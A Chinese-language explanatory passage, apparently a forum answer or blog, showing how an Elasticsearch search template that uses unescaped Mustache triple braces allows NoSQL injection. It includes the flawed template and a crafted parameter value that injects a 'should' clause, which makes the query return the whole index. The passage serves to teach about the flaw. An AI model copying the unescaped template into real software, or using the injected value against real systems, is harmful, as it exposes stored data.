你可以在ES中找到所有
先前检测到的安全漏洞,但NoSQL注入从未是其中之一...至少目前为止。
然而,你可以找到
一些文献谈论如何做到这一点。此外,一些
其他讨论和资源可能值得一读。
举个快速的例子,当使用利用Mustache模板语言的搜索模板时,绝对可以创建一个NoSQL注入攻击。例如,假设我们有以下两个文档:
PUT attack/doc/1
{
"field1": 2,
"field2": 1
}
PUT attack/doc/2
{
"field1": 2,
"field2": 2
}
在field1
上使用三个大括号的模板查询(错误):
POST _scripts/attack
{
"script": {
"lang": "mustache",
"source": """
{
"query": {
"bool": {
"filter": [
{
"term": {
"field1": {{{field}}}
}
},
{
"range": {
"field2": {
"gte": 2
}
}
}
]
}
}
}
"""
}
}
通过巧妙选择field
参数的值,我们可以泄露整个索引:
POST attack/_search/template
{
"id": "attack",
"params": {
"field": "2}}],\"should\":[{\"range\":{\"field2\":{\"lte\":2}"
}
}
最终的查询应该如下,即我们能够插入一个should子句,基本上泄露了整个索引:
{
"query" : {
"bool" : {
"filter" : [
{
"term" : {
"field1" : 2
}
}
],
"should" : [
{
"range" : {
"field2" : {
"lte" : 2
}
}
},
{
"range" : {
"field2" : {
"gte" : 2
}
}
}
]
}
}
}